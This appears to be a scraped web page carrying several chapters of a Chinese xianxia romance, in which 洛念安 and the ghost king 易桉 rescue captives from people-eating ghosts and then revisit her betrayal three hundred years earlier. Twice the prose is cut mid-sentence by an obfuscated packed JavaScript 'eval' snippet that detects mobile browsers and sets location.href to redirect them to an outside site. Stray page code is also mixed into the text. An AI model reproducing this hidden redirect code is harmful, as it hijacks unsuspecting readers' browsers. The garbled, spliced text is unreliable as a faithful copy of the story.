“大哥，兄弟们是真的饿啊。再说了，这不是有大哥罩着吗？怕什么？”这是另一道声音，伴随着“咚咚”的脚步声，应该是个大块头。 “惊动神界，我也护不住你们。” “？！”神界？这人是谁？为何会提到神界？ 另一道声音嘻嘻道：“以大哥在神界的地位，怎么会护不住我们？” “！！！”那人竟真的是神界之人？！！ 听声音应该是有人走进来了，洛念安将头埋的更低。 “怎么又抓了这么多人？！” “人太少不够吃啊。” 那声音带着愠怒：“你们成日贪这种口欲，迟早有一日把天涯关的人都吃完！” “大哥，”这道声音也透着不高兴：“兄弟们当初都是跟着你出生入死的，最后也是为护你而死，现在吃点人你就说这说那。不贪口欲贪什么？我想弄点小姑娘来让兄弟们解解闷，你又不让，这也不让那也不让。” “你敢！我警告你，弄些老弱病残过来，我可以睁一只眼闭一只眼，你若是敢弄来年轻女子做出强迫之事，别怪我翻脸不认人！” “好了大哥，我这不是没做嘛。”那声音不耐烦道，“行了，我们准备吃饭了，你不是看不了这场面吗？赶紧走吧。” 洛念安躲在暗处悄悄抬眼，想要看看那人是谁，却只看见一个大块头和一个戴着面具之人。为了不打草惊蛇，她迅速收回视线。 如今尚不知那人是谁，决不能让他离开。可是自己为了不引人注意，进来之前就将背后背着的龙吟仍在一处坟墓旁了，如今身上只有一根方便隐藏的血光。被困在这里的百姓目测有十几个，她没法保证凭一己之力能全部护下来，因此也不敢贸然出招。 正思索着，身旁之人忽然挤了她一下。洛念安放下手臂，微微偏头看去，却见到一张陌生的侧脸，穿着也像是城中的普通百姓。她正疑惑着，那人将左臂放了下来，洛念安赫然瞥见他手腕上的朱砂手串，瞳孔微张，再次看去，那人也正侧目看过来，冲她眨眨眼。 洛念安心中又惊又喜，忍不住对着他露出笑容。猛地听见那神界之人道：“为何会有女子？！我怎么跟你说的？！” “......”洛念安按兵不动，方才他说话的时候，她就反应过来这一群人里除了她都是男子。没想到刚刚有些激动，还是被发现了。 那大块头道：“怎么可能？！不可能啊！我没有！大哥，你先放开，听我说，我真没有对女子下手！” 洛念安趁他们起乱，轻轻碰了碰身旁之人，偷偷给了他一个眼神。然后抬起头，举起手道：“二位先不要吵了，我可以证明，不是他做的，是我自己要来的。” 地穴里的空气瞬间凝固，所有醒着的人的视线都聚到了洛念安的身上。她站起身，蹲久了甫一起身，大腿还有些疼，她淡定地拍了拍身上的灰尘，朝面具之人招招手，微笑道：“你好啊，这位上神，请问该如何称呼？” 面具人看清楚洛念安的模样，似乎怔愣住，须臾，缓声道：“珈洛公主？” 大块头好像也被唬住了，愣了一会儿，问道：“谁啊，大哥？你认识？” 面具人厉声道：“闭嘴！” 大块头很快反应过来，抄起背上的大砍刀，语气满是不屑：“一个女人你怕什么？把她弄死不就成了。” 面具之下尚不知是怎样的神情，顿了顿，道：“得罪了，殿下。” 他祭出法器，直直朝洛念安袭来。洛念安脚下一点，远离人群，腰间血光飞出，与那柄剑缠斗在一起。过了十几招后，她顿觉心口疼痛，右手握紧手柄，左手覆上心口，深吸了几口气。 面具人微喘了几下，忽地轻笑一声：“殿下，若我没有记错，你应该是身负重伤吧？” 洛念安盯着他面具下的双眼，平复呼吸，微微一笑：“是的，你没记错，前段时间是受了点伤。” 话落，从黑暗处忽然闪现一道银光，如鬼魅般，以一道不可思议的速度朝面具人袭来，快出残影。易桉立在人群中，抱臂悠闲立在那里，已然换回了本身的装扮，他冷哼道：“她是负了伤，但我没有。” 面具人被那一击击退数步，宝剑插入地下，扶着它才堪堪立住身形，望着已经来到洛念安身边的易桉，语调有些微微发颤：“太阴鬼王？！” “......什么？”大块头不敢相信：“他是太阴鬼王？！” 易桉半个身子挡在洛念安身前，银光闪回，落入他手中。这是洛念安第一次看清鬼王的武器，一柄通体闪着银光的剑，剑身刻着繁复的花纹，很长，插入地中时，剑柄直达易桉的腰处。他正这样将它插入地中，双手交叠，扶着剑柄。他侧首对洛念安道：“姐姐，带他们出去等我，很快。” 洛念安相信他的实力，利落点头道：“好，我在进来那处等你。” 她来到人群面前，正欲张罗大家赶紧离开。忽的从地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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洛念安穿过人群接下麻袋，道了一句：“多谢。”又接着道，“你来得正好，快结阵把他们带出去。” 赫连昭虽还没搞清楚到底发生了什么，但看见那群百姓瑟瑟发抖的抱在一起，想来肯定没遇到什么好事，点头道：“好。”他很快就结好了阵，洛念安催促着他们离开，赫连昭见她频频回头，问道，“你呢？” 洛念安道：“我在这里等易桉，你们先走，剩下的等我出去再说。对了，把他们带出去后记得抹掉他们的记忆。” 赫连昭点头：“好。”离开之前，又很小声地说了一句，“你小心。” 洛念安微微一愣，随即笑了笑，道：“知道了。” 等他们都离开，洛念安背着麻袋转身原路返回。她要去找易桉。 往前奔了一段距离，她看见了从黑暗中现身的修长身影，狠狠松了口气，忍不住露出笑容，抬臂挥了挥手：“小桉，我在这里！” 29. 虎落平阳终被犬欺 易桉加快步子，洛念安也往前几步迎了上去。她将易桉上下看了一圈：“你可有受伤？” 易桉笑了笑：“怎么可能。” 洛念安放了心，笑着点头道：“也对也对。”她往易桉身后看了看，“那位上神呢？” “不知道，”易桉撇撇嘴，带着洛念安边往前走边道，“应该没死。” “啊？”洛念安愣了愣，又问，“那个大块头呢？” “不知道，应该死了。” “……”洛念安忍不住轻轻笑了笑，道：“小桉，要不我回去把他们带上吧，毕竟还要带回神界交差。” 易桉不依，步履未停。这过道仅容得下一人通过，两个人并肩就要挤在一起了。洛念安在他前面，走的每一步都不是自愿的。 易桉的声音从头顶传来：“姐姐管他们做什么？会有人管的。我不信那两个真能睡得着。” 洛念安微微一怔，随即轻笑出声：“还真让你猜对了，我方才还碰见了赫连将军，他将那些凡人都带出去了。”停顿片刻，她问道，“小桉，你是何时到这里来的？” 易桉回道：“和姐姐差不多时候，我大概排在你前面。” 洛念安道：“抱歉，这件事本与你无关的。” 易桉沉默片刻，再开口的声音低了几分：“扰得姐姐夜不能寐，自然与我有关。还以为有几分本事，没想到不过一群杂碎。” 洛念安笑道：“还好有你在，不然我这样贸然孤身前来，定是不好带着那些百姓全身而退的。也怪我，不该这样贸然行动。” 易桉道：“所以姐姐下次记得带上我。” 洛念安怔了怔，垂眸，弯起唇角，又道：“我总觉得神界之事不该麻烦你。而且，你的信徒那样多，平日想必也是日理万机。” “我闲下来才会管他们。”易桉道：“当然，姐姐找我，无论何时，我都有空。” 洛念安眨了眨眼，眼前光线不好，昏暗一片。当视力不好的时候，听觉就会异常灵敏，比如现在，她听见了有人的心脏在疯狂跳动。肯定不会是易桉的。她有些慌神，莫名害怕被易桉听见，于是开口道：“总是麻烦你，到不知该如何回报了。” 易桉轻笑一声，道：“好说，姐姐若是有空，多来找我玩就是。平日一个人待着，实在无聊的紧。” 洛念安闻言扬起唇角，道：“这个要求，定能满足。” 两人无言走了一阵。这件事情好像就这样告一段落了，轻松的让人有点不习惯，当然她是沾了易桉的光。 但好像漏了些什么。 是什么呢？ 洛念安沉思着，忽然灵光一现，出声道：“小桉，这里的事情几乎都能对上我的梦境，唯有一点。” 她停顿片刻，就听见易桉接道：“白衣女子。” “对！”洛念安一个转身，脚步一停，很突然，易桉没意料到。他们本就一前一后挨得极近，这样一来，洛念安直接撞进了他的怀中，易桉又怕她摔倒，双臂下意识揽住她的腰身。洛念安也怕自己摔倒，双手下意识攀上了他的后背。 地道内空气静止，唯有远处的火光在轻轻跳跃。 易桉的身上有一股好闻的玉兰花香。 “......” 两人双双僵直身体，好半晌。 “抱歉！” “抱歉。” 几乎是异口同声。 “......” ‘......’ 易桉确定洛念安已经站稳，松开手，向后退了半步。 “......”洛念安低垂着头，抬手摸了摸自己刚刚因撞在易桉身上而有些发疼的鼻子。 易桉注意到她的动作：“撞疼了？”他欲伸手，又在半道上缩了回去。 洛念安摇摇头，她实在是没遇到过这样的情况，一时不知道该怎么办才好。只能生硬地转移话题掩饰尴尬：“就是那个白衣女子，她是谁？这件事情与她有何关系？” 易桉便顺着她道：“我已经看过了，这里没有姐姐所描述的女子。” 提及正事，尴尬什么的都被洛念安抛诸脑后了。她点点头，转身继续往前走，道：“我们先出去与柳将军他们汇合吧。” 赫连昭结下的传送阵还留在那里，他们便直接借着这阵离开。再现身，柳渊和赫连昭都守在阵法旁边，应该是在等她。洛念安四下看去，发现还是在这圈墓地之中，四周已无百姓，便问道：“那些百姓呢？” 柳渊道：“去了记忆送到城内了。” 洛念安点头，又道：“你们来时见到有一人躺在路边了吗？” 柳渊：“嗯，赫连昭已经把他送回去了。” 洛念安这才放下心来：“那就好。” “所以到底发生什么了？”赫连昭出声问。 洛念安将事情经过说与他们听，末了，接着道：“那位上神还在墓穴之中。” 二人的面上皆不是一般的严肃。 无言良久，柳渊收起扇子，瞟了一眼易桉，问道：“他没下死手吧？” 洛念安道：“不会的。” 柳渊点点头，看向赫连昭，道：“走吧，去把他弄出来，顺便看看到底是谁。” 过了一会儿，他们带着两个人出现，一个面具人，还有那个大块头。借着月光可以看清面具人嘴角血渍未干，身子被什么东西锁着，动弹不得。大块头被赫连昭扔在一边，还处于昏迷状态。 洛念安道：“柳将军，松绑吧。” 柳渊愣了愣，道：“不是我弄得，我们去时萧宁将军就被绑着了，弄也弄不开。” 于是洛念安看向身旁的易桉。易桉抬了下手，萧宁身上的束缚便根根断裂落在地上。 洛念安重新对着那人，微微一笑道：“原来是萧宁将军。” 萧宁垂下首，一副认错之态。 若洛念安没记错，萧宁似乎在她下界之前就已飞升。只是她小时不常离开珈洛殿到处走动，故而与那些上神上仙都不太熟，可能认得，但不知其名。 另外两位上神面对前辈犯错实在不知该如何开口，只能保持沉默。 他自然也是洛念安的前辈，但，她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14475312|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与神界之人交际不多，没有那么复杂的关系网，根本也无所谓得罪谁。于是洛念安道：“萧将军，我听到了你与他在墓穴中的谈话，此事大概也猜出了个七七八八。我有一问想问将军，你飞升前最后一战是在天涯关？” 萧宁点头。 赫连昭出声：“那时是叫天涯关吗？不是落阳关？” 洛念安微微一怔。 这时，身旁的易桉开口道：“他在时还叫天涯关，飞升后改成落阳关，现在又改回之前的名字了。” 洛念安对上他的视线，问道：“为何？” 易桉道：“姐姐可还记得上次我与你说，这里爆发了一场极为惨烈的战争？” 洛念安点点头：“记得，所以是与萧将军有关？” 一直低着头的萧宁终于抬头，缓声道：“没错。我一生胜仗无数，唯一一次惨败，就是在这天涯关。” 神界上神凡是凡人飞升，皆为人中龙凤，天之骄子，王侯将相不足为奇。为将时胜仗无数更是不值一提，比如柳渊就是。但萧宁说自己只败过一次，还是“惨败”，这倒是鲜少听说。 洛念安猜测道：“虎落平阳？” 易桉轻笑一声，道：“正解。” “关门往外数里，都染着我们的鲜血。” 大家齐齐往声源处看去，原是那大块头醒了。他缓缓从地上爬起来，许是发现站不起来了，便干脆坐在地上。他继续道：“那场战役，两万士兵全部战死，只有他一人，只有他活着，还飞升了。” 洛念安看着他，声音温和依旧：“这就是萧将军他包庇放任你们的原因吗？” “不够吗？”大块头双腿打开地坐在地上，摊着手，反问：“不够吗？是我们拼死护住他的，他在我们的尸海里飞升，踩着兄弟们的尸骨往上爬！没有我们，他一个人能打赢那么多场仗吗？难道不应该报答我们吗？” “……”他的话让洛念安哑口无言，不知该说些什么。 这时萧宁忽然道：“怪我，怪我居功自傲，目中无人，明知是兵行险招，最后搭上了所有将士的性命，一败涂地。” 洛念安望着他，他看着年纪轻轻。正常，年少成名，最容易昏了头脑。 柳渊的视线从萧宁这转到大块头那，严声道：“你们为国战死，国家自会记住你们的英名。明明是英雄，又为何逗留人间，化作厉鬼残害生灵？” “我不服！”大块头猛地一拳砸地，语气满是怨恨不甘：“凭什么我们死了，他却能飞升成神？！我们死心塌地跟了他那么久，总得捞着点好吧？！” “……”从一开始听到他们的对话时，洛念安就听出了他话里的虚情假意。她看向萧宁，后者却对这话语没有任何反应。 或许他早就知晓。本来大家都过着苦日子，你苦我也苦，尚能其乐融融。若是有朝一日，你飞黄腾达，我却过上比原先更苦的日子，那时，便如何也没办法齐乐下去了。你给我好处，我就喊你一声大哥。给不了我想要的，我定会心怀怨恨，诅咒你身败名裂。 人性嘛，本就是不值得考究的东西。 30. 忆往昔话三百年前 柳渊将萧宁和那个大块头一起带走了，他本想拉着赫连昭一起走，但他不愿意，洛念安心中了然。等柳渊走后，她本等着赫连昭问些什么，却只听见他道：“不早了，回去休息吧。” 说完，他便先行迈步往前走。 洛念安在原地怔愣片刻，对上易桉的视线，微微一笑，便也迈步，和他一起原路返回。 赫连昭真的回房去歇息了，洛念安和易桉道了晚安，也回了房间，却是坐在窗边望月，一夜无眠。翌日早，她忽的听见隔壁的隔壁房间传来吵闹声，洛念安以为是赫连昭遇到了什么事，匆匆出门去，路过易桉的房间时，他恰巧开了门，两人对视上。易桉扬起笑：“姐姐，早。” “早。”洛念安也以笑回应。 在这里站着，隔壁的动静更大了。不多时便有人开了门，赫连昭出来了，身后跟着柳渊。洛念安愣了愣：“柳将军？你又回来了？” 赫连昭似乎被人吵醒，起床气正盛：“大早上扰人清梦，有病。” 柳渊白了他一眼：“几点了还睡着，日头晒屁股了！”他呛完赫连昭，又换了副表情，笑眯眯地对着洛念安，“是啊念将军，我总觉得今日可能有事发生。”说完他瞟了赫连昭一眼。 赫连昭什么都没说，转身就往楼下去了。洛念安看了他一眼，笑着对剩下的二人道：“我们先下去吃点东西吧。” 柳渊点头，转身先下去了。 易桉关上门，来到洛念安身边，问道：“姐姐昨夜没休息好吗？” 洛念安下意识抬手摸上自己的脸，反问道：“很明显吗？” 易桉摇头：“没有，我猜的。” “……”这都能猜中。 他又道：“下去吃东西吧。” “好。”洛念安点点头，和易桉一起下楼了。 柳渊他们已经在桌边坐好，看见他们下来，柳渊举扇朝他们摆了摆：“这里这里。” 席间，赫连昭一直一言不发，也只是喝了一碗白粥。易桉忙着给洛念安夹菜，洛念安忙着道谢，柳渊最辛苦，在忙着观察每一个人的神色。 看着洛念安擦完嘴，赫连昭突然道：“吃完了吗？” 洛念安动作一顿，懵然点头。 “你和我去个地方。” 柳渊两边各看了看，弱弱道：“那什么，我们能去吗？” 赫连昭瞥了他一眼：“你不准去。” “……” 柳渊还是厚着脸皮跟去了。 赫连昭在无人处结了个阵，这个阵结的很快，想必目的地是他常去的地方。再次现身，眼前一片昏暗，赫连昭抬手一挥，从他们身处之地开始蜡烛燃起，往四周蔓延。四下顿时一片明亮，洛念安这才看清他们正身处地下，眼前是一座石门。赫连昭上前，打开阵法，石门随之而开，内里仍旧一片明亮。他回首，看了洛念安一眼，便迈步进去。 洛念安大概猜出了这里是什么地方，垂下眸，迈步跟了进去。 柳渊站在门前有些不知所措，看向还剩下来的易桉，试探问道：“进去吗？” 不出意外的易桉没理他。但他只往前走了两步，抱臂倚在门边。见他不进去，柳渊似乎松了一口气，便也站在外面等待。 洛念安一眼就看见正对着门的另一边摆放着供桌，供台之上立了两块牌位，牌位前摆着两个精致无比的盒子，或者说，骨灰盒。 赫连昭原是祗犹族人。但上阳国统治者喜好学习中原的语言、文字、生活习性以及统治制度，并推行全国。上阳国建国初期与柳渊所在的黎元国相处甚好，两国互通有无。后来，为了争夺土地资源以及统治者的更换等等等等，两国开始出现摩擦，到了赫连昭那时候，已经开始爆发战争，直到战争规模越来越大。 上阳国王族丧葬制度依旧按照本族制度，死后尸体火化，装入骨灰盒，再安置于陵寝之中。 所以，此刻，洛念安跟着赫连昭一起，对着骨灰盒，行了一个祗犹族的拜礼。 直起身子，她听见赫连昭沉声道：“今日是我父王母后的忌日。” 洛念安微微一怔，缄默不语。 “上次我问你为什么，你说，下次再说，后来发生了许多事耽误了。那么现在，可以告诉我了吗？” 洛念安尚在组织语言，组织了半天，也不知到底该如何说。 赫连昭侧目盯着她，看了好一会儿，又忽然道：“出去说吧，不要扰了他们二老的清静。” 洛念安便怔怔地跟着他出去了，他出去之后，石门自动闭合。洛念安与易桉对视一眼，跟着赫连昭去了一处离他们稍远的地方。然而这地方本就不大，再远，他们正常说话还是能被听到的。 但他们两人都无所谓。 赫连昭在等洛念安开口。 等了半天，洛念安也不知该如何说，便诚实道：“其实我不知道该说什么。” 赫连昭尚且有耐心：“为何不战而降？” “......”洛念安垂着眸，紧紧盯着地面，须臾，她道：“对不起。” 对面的赫连昭突然爆发：“你总是在说对不起，你不要说对不起了。对不起有什么用，你说了对不起，我的父母能回来吗？我的国家能回来吗？我们对你不好吗？！你为什么要这样做？！你明知道落阳关失守这个国家就完蛋了！我父王封你为镇国大将军，你就是这样镇国的？！临阵脱逃，不战而降！你为什么要背叛这个国家？！为什么要背叛我？！我那么信任你......那么信任你......”说到最后，他抱头蹲地，似乎痛苦万分，他的声音染着哭腔，“他们说你受了酷刑，死了，我赶不回去，我......我一直都想问你，你到底为什么要这样做......你可以告诉我吗？你既然活着就告诉我吧......我一直坚信你有苦衷，你不是贪生怕死的人，可是......可是为什么呢？父王给了你十万大军，十万，就算是柳渊带兵，你不是一直都能打赢他吗？为什么不打？！为什么要当逃兵？！” “......”洛念安吞咽一下，抿紧唇：“我......” “十万？你确定？” 洛念安愣了愣，回眸看向易桉。他放下手臂，迈步走到洛念安身边。柳渊原本正以扇挡脸，见易桉过来，也跟着走了过来。 赫连昭蹲在地上，被他搞得愣住了，呆呆抬头看过来，问道：“你说什么？” 易桉道：“我记得没有十万。” 赫连昭一下子站起身：“你怎么可能知道？！” 易桉看向柳渊：“应该是两万。” 洛念安闻言，瞳孔微不可察地放大，她猛地看向易桉。 赫连昭面上的震惊显而易见，他看见柳渊点头，厉声道：“怎么可能？！你们在胡说八道什么？！” 易桉接着道：“三百年前，上阳国镇国大将军在落阳关不战而降，为何不战而降？因为她手上只有两万军队，而敌国是十万大军压境，或许不止十万。” 柳渊适时道：“十五万。” 赫连昭咆哮道：“你胡说！我父王明明调了十万大军！” 易桉笑了一声，继续道：“镇国将军自上任以来为上阳国击退敌军的数次数不胜数，凡战，从无败绩，深得民心。你父王唯恐其功高盖主，而那时，刚好她培养出了你，他们觉得时机成熟，你能代替她担大任，于是想要设计让她战死在沙场。”他瞥了一眼赫连昭，见他一副要杀人的样子，嗤笑一声，“怎么？不信？好啊，那我问你，她是不是只身一人前去落阳关？你父王当时说的是，将军先行，大军随后就到，那一次，一直跟随着她上阵杀敌的你没有去，而是退守在下一道防线。” 赫连昭面上的愤怒瞬间褪去，面露茫然。 “到落阳关的军队只有两万，而那两万本就是要陪着她送死的。”易桉继续 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“阿昭，”洛念安看着他的样子，于心不忍，她轻声道：“上阳国守不住的，就算没有这件事，我守住了落阳关，也只是拖延时间罢了。苛政盛行，瘟疫蔓延，洪涝、干旱接踵而至，战争不断，百姓怨声载道，它早已油尽灯枯了。” 赫连昭撑着墙，沉默地，盯着洛念安看了许久，开口的声音极沉，似有一双无形的手扼住喉咙：“那你......那你为何还要回去，回去受刑，既然，既然是这样，你可以走啊，以你的本事，走啊，为什么还要回去......” 三百年前，洛念安先行进入落阳关，后面到了两万大军，而剩下的八万迟迟未到，不仅是人，还有粮草，催无数次，找无数个借口，就是不到。将士们吃不饱饭，关内百姓省吃凑粮，但战争尚不知持续多久，这样下去绝不是办法。从临近城池调取粮草，一个个也像受了谁的令一般，都说没有。眼看着敌军压境，安营扎寨，洛念安终于猜到真相，自那日起，她在城墙边坐了整整三日，三日日夜沉思，最终做出了投降的决定。 与柳渊打交道数年，她知道黎元国军队入城绝不会伤害百姓，她保下了两万将士的性命，也保全了关内百姓，却保不住这个国家。 安顿好一切，她又只身上马，日夜不休直达京城。她原本就是要进京请罪，上阳国君主见一计不成，便再施一计，借着此由头，赐她鞭刑。直到她倒在地上奄奄一息，周身血色翻涌，没了意识。所有人都以为她死了，用抽打她的鞭子将其双手捆住，吊于城门之上，以此示警。她不记得吊了多久，一次次醒来又一次次晕厥，几乎目不能视，但耳边是无尽的谩骂。血液顺着身体，从脚尖流下，直到干涸，枯竭，再也流不出鲜红的血液。 而当初行鞭刑的那条长鞭，就是如今的血光。 “很疼吧。”易桉的声音拉回了洛念安的思绪。 她微微一愣，看向易桉，他眼中似有无尽的哀伤，洛念安心下一颤。 柳渊忍不住愤愤道：“我都听说了，不是我说，你为上阳国做了那么多，又是培养储君又是上阵杀敌保家卫国的，到头来却被又打又骂。” 赫连昭闻言垂首，似乎不敢抬头，沉默不语。 洛念安摇头，温声道：“我受上阳国百姓恩惠，爱戴，替他们守家卫国，是我应该做的。可是我没有做到，是我对不起他们，他们罚我怪我，我都受得，是我应该受得，我从未怪过任何人。无需为此怜悯我，也无需替我抱不平。” 其实也怪过的。在疼痛蚀骨，污言逆耳时，她也怪过，怪人心凉薄，不值得。 但是后来有一日夜里，忽然来了几个人，冒着砍头的风险将她从城门上放了下来，和血光一起入了棺，抬去了一处风水宝地安葬入土。 那一刻她突然就不怪了。 只是从棺材里爬出来费了点功夫。 31. 回神界再遇紫衣人 赫连昭跑了，看他的模样，似乎是没办法接受。 他们回了天涯关，并肩在街上走着。 洛念安道：“上阳国国君在阿昭面前是一位慈父，他们待我也一直都是尊敬有加。或许他始终觉得自己的父王也是一位仁慈的君主，这样的真相一时无法接受，可以理解。” 柳渊晃着扇子，侧目看去：“念将军为何不早些告诉他？” “阿昭自小便跟在我身边，他性情耿直，从小到大几乎没经历过风浪，唯一吃过的苦大概就是跟着我练武，我总担心告诉他他会接受不了。” “诶，”柳渊道：“要说我，念将军你还是把他保护的太好了，不让他吃苦怎么行？那后来他看着自己国破家亡岂不是更加没法接受？” 洛念安抿唇点头，道：“是啊，那段日子他一定痛苦至极吧。但他总要长大的，人不可能一直当小孩子。” 柳渊无言摇扇，半晌，忽然道：“神界要开殿议了，估计是商讨萧宁将军的事情。”顿了顿，他看向洛念安，“念将军，你……” 洛念安点点头，道：“柳将军先去吧，我……稍后再去。” “好吧。”柳渊最后看了她一眼，转身往无人角落去了。 他走了。洛念安侧眸，看向身旁的易桉。 “嗯？”易桉也在看着她：“姐姐有话要问？” 洛念安点头，又回过头，看向人烟稀少的街道，只有零星摊贩在卖着货品。天地都是昏黄色。她道：“小桉，我们应该很早就认识吧？” 易桉似乎怔住，下一刻便收回目光，垂眸不语。 洛念安重新看向他：“你对落阳关之事如此熟悉，难道你也是当初两万将士之一？” 易桉笑了一下，摇头。 洛念安收回视线，道：“抱歉，太久了。” 易桉却问：“我当初是谁，重要吗？” 洛念安愣了愣，随即轻笑一声，道：“也是，无论你是谁都不重要，只要你是你就好了。” “他是何时开始跟在姐姐身边的？” 易桉突然转了话题，洛念安一时没反应过来：“谁？” “赫连昭。” 洛念安抿唇回忆着，片刻后，道：“四五岁吧。” 易桉道：“哦。” 他一提，又打开了洛念安的话匣子，她接着道：“我没想到他能飞升成上神，不过仔细想想，他确实有天赋。” “没有姐姐教导，给他十辈子也飞升不了。不知珍惜，愚蠢至极。” 洛念安摆摆手：“哪里哪里，我教他时，他十分努力。能飞升，也全靠他自己。” 易桉道：“是吗？真了不起。” “是啊，”洛念安顺着道：“很刻苦的，每每我起床时他就已经在练剑了。” 易桉：“是吗？” 洛念安：“是啊，我歇息了，他还在挑灯夜读。” 易桉：“是吗？” 洛念安：“是啊，学东西也很快，年少时随我出征，立了不少军功。” 易桉：“是吗？” 洛念安：“是……”她终于察觉到易桉的不对劲了，紧急闭了话匣子。侧眸过去看他，眨了眨眼，试探道，“你怎么啦？” 易桉面上是笑着的，却总有一股子凉意，后牙紧咬着，也没看她，道：“没什么，我对他羡慕至极。” “羡慕至极”四个字他咬得极重，洛念安愣了愣，问道：“羡慕什么？” 易桉看过来，他叹了口气，笑容里满是无奈，道：“羡慕他有天赋，又努力。” 洛念安轻轻蹙眉，眨眼思考片刻，她总觉得易桉好像没说实话，但又想不通，一阵糊涂，只能开口安慰他道：“不用羡慕他，鬼王大人的天赋和付出的努力想必更是常人所不能及的。” 易桉轻笑着摇摇头，又道：“姐姐还要去神界吗？” “哦对……”洛念安差点把这件事忘了：“对对，我得赶紧走了。” 易桉道：“不想去就不去了，殿议这东西，除了耽误功夫，也没什么用。” “不行啊，”虽然洛念安确实不乐意回去，“毕竟我有神职在身，在其位谋其职嘛。我得走了，小桉，你，你要不自己回去吧？” 易桉点点头，翻手化出一只玉骨哨，小巧精致，伸到洛念安面前，道：“姐姐若要找我，就吹它。” 洛念安伸手接过，一边欣喜一边觉得惊奇：“吹它你就能听见吗？” 易桉轻轻摇头，又道：“苍和阿离都能听见。” “好。”洛念安将它小心收好，心情愉悦地出发去了神界。 她赶到紫微大殿时，该到的人都已经到齐了，看起来似乎也已经商量了些什么。洛念安顶着无数道炽热的目光从大门一侧溜进神殿，萧宁在大殿中央垂首而立，身旁的跪着的大块头。她没往高座上看，本想默默寻个无人之地静悄悄立着，谁知进去没走两步，就听见洛君逸的声音借着法力从高处传来：“珈洛，你回来了。” 洛念安脚步一顿，心中无波无澜，转而往神殿中央走去，立在那里，对着高座行礼，道：“帝君。” 这一声，让殿内上神默默地来来回回交换着视线。 洛君逸面色还是那样沉，无甚反应，只是道：“听闻，你与太阴鬼王私交甚好。” 洛念安不卑不亢道：“是。” 神殿内响起窃窃私语。明修道：“你是神，他是鬼，你怎能与他私交甚好？” 洛念安望向他，微笑道：“敢问真君，为何不能？” 明修道：“他日后若是做了什么伤天害理之事，你如何能脱得了干系？” 洛念安依旧温和道：“小……太阴鬼王又不是今日才出世，请问这么多年他做了哪一件伤天害理之事？” 明修开始吹胡子瞪眼：“你这孩子，那三位上神之事难道你没有听说？没有他，那三位怎会快速陨落？再说了，何以为鬼？”他以拂尘指了指跪在殿中的大块头，“他这种品阶的鬼都怨气冲天，能称王者，更不必说。” 洛念安却道：“神尚且有好有坏，鬼亦是。真君既不了解其全貌，便不该妄自评判。” 以往无论明修说谁，他们都看在其年纪大辈分高的份儿上不与之争辩，他连洛君逸都敢说。现在却被洛念安怼的直翻白眼，快要气晕过去。 “珈洛，”洛君逸发话：“不得无礼。” 洛念安向他行了个礼，道：“抱歉，但，珈洛只是实话实说罢了。另，我与谁交好都是我的事情，既不违规也未犯法。今日还是先好好商讨萧宁将军之事吧。” “……” 殿议结束，柳渊蹭蹭蹭走到洛念安身边，大拇指常竖不落：“念将军，你太厉害了，我太佩服你了。这么多年，只有你能把明修怼的哑口无言。我真的听他老人家说话头就大。” 洛念安却是摆摆手，道：“方才实在是失礼。” “诶，我觉得你说的很有道理嘛，有理就是对。” 洛念安轻轻笑了笑，四下看了一圈，问道：“赫连将军没来吗？” “他啊，”柳渊掏出扇子：“估计正躲在哪个角落伤心呢吧。诶呀，等他想通就好了，只要人活着，就没什么事是想不通的。” 洛念安点点头，沉吟片刻，才道：“也对。” 柳渊晃了会儿扇子，视线落在她身上一下又一下。洛念安忍了一会儿，又实在忍不了他这样鬼鬼祟祟的样子，问道：“柳将军？你有话要说？” “啊……”柳渊手上扇子摇得飞快：“啊对，那什么，你怎么样？还好吧？” 洛念安疑惑：“什么？” “就是今日见了帝君，”柳渊道：“有何感想？会不会觉得不自在？” 洛念安细细感受了一下，摇摇头：“没有，感觉……很轻松。” “那就好。”柳渊笑了一下，下一瞬，笑容凝固在脸上。他看着从前面突然拐出来的念清漓和洛霁禾，犹豫着要不要拉着洛念安转身就走。 但好像有点晚了。 洛念安已经看见他们了。她倒是没想过这次会碰见他们，看样子他们是来找洛君逸的。 柳渊扇子遮脸，小声道：“念将军，我去 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“啊，”柳渊道：“没什么，我就是怕你伤心。” 洛念安摇摇头，蹙了蹙眉，道：“我现在只觉得……” 柳渊凑过去：“什么？” 洛念安看向他，露出了个真心实意的笑：“很爽！” 直到这一刻，那层困她已久的厚厚疤痕才彻底脱落，渐渐生长出新的血肉。 两人一路走至天门，柳渊一路上都在叽里呱啦，什么“你能这么想太好了”“无论如何我都支持你”云云。洛念安微笑听着，碰到迎面走来的白锦，正欲打招呼，视线一转，看清他身旁之人的面容后，脚步猛地一顿。 她不太确定，又仔细看了看。 柳渊举手挥扇，打招呼道：“仙君，又带令妹去玩了？” 白锦在他们面前停下，轻轻点头以作回应：“殿下，柳将军。” 洛念安回应：“白锦仙君。”说完，她的视线再次停在他身旁的紫衣女子身上。 那女子也正一瞬不瞬地等着她看。 白锦介绍道：“这位是舍妹，白黎。”他又对着白黎道，“黎儿，这位乃珈洛公主，这位是柳渊将军。” 白黎，正是洛念安在安乐殿遇到的紫衣女妖。她既是白锦的妹妹，又为何会出现在鬼城？而且，易桉说，他那里没有她要的东西。她要什么？又与易桉有何关系？ 白黎行礼：“珈洛公主，柳渊将军。” 等四人分开，洛念安忍不住问：“柳将军与白锦仙君熟悉吗？” 柳渊摇着扇子道：“还行吧。白锦吧，你别看他面冷，其实啊，心更冷。” “……”洛念安无语片刻，又问：“他与他妹妹，关系如何？” 